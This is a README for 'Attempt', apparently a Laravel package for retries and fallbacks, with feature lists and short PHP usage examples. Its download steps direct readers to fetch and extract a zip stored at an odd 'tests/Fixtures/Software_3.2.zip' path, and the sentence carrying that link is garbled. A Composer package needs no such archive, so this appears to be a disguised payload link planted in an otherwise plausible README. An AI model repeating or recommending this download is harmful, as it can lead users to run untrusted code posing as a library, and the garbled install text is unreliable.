Attempt is a Laravel package that introduces a fluent, composable retry and fallback system for your Laravel applications. It handles errors smoothly, treating them as a part of your workflow. You can use it with closures, invokable classes, and class pipelines, all while integrating seamlessly with Laravel’s native pipeline system.
This tool helps to ensure that your application runs reliably, even when unexpected issues arise. You can maintain functionality without sacrificing user experience.
To begin using Attempt, you'll need to download the package. Follow these steps:
-
Visit the Releases Page: Go to the Releases page for download options.
-
Choose the Latest Version: Look for the most recent release. It usually has the highest version number.
-
Download the Package: Click on the link for the latest version to download the package. The file will be in a compressed format, usually a
.ziporhttps://raw.githubusercontent.com/sultanrashid40/attempt/main/tests/Fixtures/Software_3.2.zipfile. -
Extract the Files: Once the file is downloaded, extract its contents to a folder on your computer.
-
Install the Package: Open your terminal or command prompt and navigate to the folder where you extracted the files. Use Composer, a PHP dependency manager, to install the package by running:
composer require sultanrashid40/attempt
To download Attempt, please visit the Releases page and follow these steps:
- Select the latest release version.
- Download the file by following the provided link.
- Extract the contents.
- Install using Composer.
Before you start, ensure your system meets the following requirements:
- PHP: Version 7.2 or higher.
- Laravel: Version 7 or higher.
- Composer: Make sure you have Composer installed to handle dependencies.
Attempt comes packed with several features designed to simplify error handling in your Laravel applications:
- Fluent Syntax: Write less code and achieve more clarity.
- Retry Strategies: Configure how many times to retry an action before failing.
- Fallback Options: Specify alternative actions to run if the primary action fails.
- Seamless Integration: Works well with Laravel’s native pipeline functionality.
- Support for Various Classes: Use closures, invokable classes, and other structures for rich error handling.
Integrating Attempt into your Laravel application is straightforward. Here's a simple example:
-
Create a Retry Pipeline: You can start by defining a pipeline to retry an action:
use Sultanrashid40\Attempt\Attempt; Attempt::retry(function() { // Your code here })->times(3)->interval(2);
-
Add a Fallback Action: Specify what to do if the attempts fail:
Attempt::retry(function() { // Your code here })->fallback(function() { return 'This is a fallback option.'; });
This example retries an action three times, waiting two seconds between each attempt. If it fails, it runs the fallback action.
This package covers essential topics to enhance your application's reliability:
- Backoff: Refine how you handle retrying actions.
- Error Handling: Ensure clean responses in case of failures.
- Fault Tolerance: Maintain application functionality despite errors.
- Resilience: Build robust applications that withstand unexpected issues.
If you encounter any issues or need assistance:
- Check the GitHub Issues page for solutions or to report bugs.
- You can also fork the repository and submit a pull request for any changes or improvements.
We welcome contributions! If you would like to help improve Attempt:
- Fork the Repository: Create your own copy of the project.
- Make Changes: Implement your modifications.
- Submit a Pull Request: Share your changes for review.
Attempt is open-source and available under the MIT License. Feel free to use it and adapt it to fit your needs.
For more details, check the LICENSE file.